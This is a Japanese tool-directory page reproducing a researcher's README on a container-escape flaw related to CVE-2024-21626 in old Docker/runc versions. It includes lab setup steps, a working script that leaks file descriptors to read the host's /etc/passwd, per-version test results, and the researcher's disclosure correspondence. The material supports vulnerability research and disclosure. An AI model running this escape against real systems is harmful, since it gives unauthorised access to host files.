Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/sk3pper/cve-2024-21626-old-docker-versions
コンテナセキュリティ脆弱性分析エクスプロイト学習と教育コンテナエスケープラボと実践
GitHubsk3pper/cve-2024-21626-old-docker-versions

CVE-2024-21626-old-docker-versions

レガシーなDocker/runcバージョンのコンテナエスケープ脆弱性を分析および悪用し、fd漏えいを介してホストファイルシステムにアクセスする方法を示します。セットアップおよびテストスクリプト付き。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
71年前未レビュー

古い runc コンポーネントにおけるコンテナエスケープの脆弱性 (CVE-2024-21626)

CVE-2024-21626 の分析中に、他の古い Docker コンポーネントが fd リーク に対して脆弱であることを発見しました(これは セキュリティアドバイザリ GHSA-xr7r-f8xq-vfvv では言及されていません)。詳細な説明はこちらの完全な記事をお読みください。

1. 環境のセットアップ 🔨

A. Ubuntu 18.04.6 LTS (Bionic Beaver) のダウンロードとインストール

インストール中は、アップデートをダウンロードするためのチェックボックスをオンにしないでください。

B. 脆弱な Docker バージョンと関連コンポーネントのインストール

  • https://download.docker.com/linux/static/stable/x86_64/ にアクセスし、古いバージョン docker-X.Y.Z-ce.tgz をダウンロードしてテストする

  • 展開し、内容を /usr/bin パスにコピーして Docker デーモンを実行する。

    root@kitploit:~
    cd Downloads/
    tar xzvf <docker-X.Y.Z-ce.tgz>
    sudo cp docker/* /usr/bin/
    sudo dockerd &
    

C. インストールされたバージョンの確認

root@kitploit:~
sudo docker version
containerd --version
uname -r

古いバージョンでは、runc の代わりに docker-runc が使用されています。以下のように確認します。

root@kitploit:~
ls -la /usr/bin | grep docker
    -rwxr-xr-x  1 root root    14128576 mar 19 10:54 docker
    -rwxr-xr-x  1 root root     8932648 mar 19 10:54 docker-containerd
    -rwxr-xr-x  1 root root     8381448 mar 19 10:54 docker-containerd-ctr
    -rwxr-xr-x  1 root root     3047368 mar 19 10:54 docker-containerd-shim
    -rwxr-xr-x  1 root root    39989264 mar 19 10:54 dockerd
    -rwxr-xr-x  1 root root      772400 mar 19 10:54 docker-init
    -rwxr-xr-x  1 root root     2534781 mar 19 10:54 docker-proxy
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc

ls -la /usr/bin| grep runc
    -rwxr-xr-x  1 root root       10232 mar 18  2018 bdftruncate
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc
    -rwxr-xr-x  1 root root       35000 gen 18  2018 runcon
    -rwxr-xr-x  1 root root       39096 gen 18  2018 truncate

doker-runc/runc のバージョンを確認する

root@kitploit:~
runc --version
docker-runc -v

2. ターゲットが脆弱かどうかを確認し、適切な fd を見つける 🧐

checkVulnerability.sh を実行し、ファイルがターミナルに出力されるかどうかを確認します。

root@kitploit:~
# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
    sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
    echo ""
done
root@kitploit:~
# CVE-2024-21626-old-docker-versions リポジトリをクローン
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git

# checkVulnerability.sh を実行
chmod +x checkVulnerability.sh
./checkVulnerability.sh

この例では docker-17.03.1-ce バージョンを使用しました。 脆弱性の確認と fd の発見

3. エクスプロイトを試す 🔫

この例では docker-17.03.1-ce バージョンを使用しました。

エクスプロイト

4. テスト結果 🧪

以下は、Docker バージョンと使用されている runc バージョンごとに整理した分析結果です。

docker-runc

runc

Docker Versionrunc version漏洩した fd 番号
docker-18.09.0.tgz1.0.0-rc5+dev❌

以下は、3 つの異なる脆弱なバージョンを示すスクリーンショットです。

1.0.0-rc21.0.0-rc31.0.0-rc4+dev
1.0.0-rc21.0.0-rc31.0.0-rc4

CVE-2024-21626 と同様に、異なる種類の攻撃が依然として可能です。

5. 結論と学び 🔚

この脆弱性は CVE-2024-21626 とは大きく異なります。その理由は次のとおりです。

  1. openat2 システムコールが存在しない古い Linux バージョンでもトリガーできます。
  2. 漏洩するファイル記述子は、ホストの /sys/fs/cgroup ディレクトリではなく、実行中のコンテナの状態を含む /run/runc/<container>/ パスにあります。

私が発見したのは、古いバージョンも同じ攻撃手法に対して脆弱であるということです。脆弱性自体は異なりますが、結果は同じです:ホストファイルシステムへのアクセスを得ることです。重要な教訓は、セキュリティアドバイザリだけに頼らず、すべてを徹底的にテストすることです。CVE を完全に理解し、その仕組みを把握し、安全な環境で実験し、エッジケースを探求してください。

6. 責任ある開示 🕺🏻

[email protected]、[email protected] に連絡し、CVE を申請しようと試みました。以下の返信を受け取りました。

ツールをダウンロード
Docker Versiondocker-runc version漏洩した fd 番号
docker-17.03.1-ce.tgz1.0.0-rc2/proc/self/fd/4
docker-17.03.2-ce.tgz1.0.0-rc2/proc/self/fd/4
docker-17.06.0-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.06.1-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.06.2-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.09.0-ce.tgz1.0.0-rc4+dev/proc/self/fd/5
docker-17.09.1-ce.tgz1.0.0-rc4+dev/proc/self/fd/5
docker-17.12.0-ce.tgz1.0.0-rc4+dev❌
docker-17.12.1-ce.tgz1.0.0-rc4+dev❌
docker-18.03.0-ce.tgz❌
docker-18.06.3-ce.tgz1.0.0-rc5+dev❌
リクエスト返信
[email protected] (19/03/24)The versions you have listed are all EOL versions of software (~7 years old) and are no longer patched or maintained by Docker. If you have a concern about the versions or wording listed in the existing GHSA-xr7r-f8xq-vfvv advisory ("affected versions: >= 1.0.0-rc93, <= 1.1.11"), then the correct channel to report it should be to the OCI security mailbox: https://github.com/opencontainers/.github/blob/main/SECURITY.md Thank you for reaching out. Let us know if there is anything else we can do
[email protected] (20/03/24)応答なし
CVE-MITRE (15/05/2024)We normally do not assign CVE IDs to issues that exist only in release candidates. https://www.cve.org/CVERecord?id=CVE-2024-21626 had affected released versions of runc, such as release 1.1.11.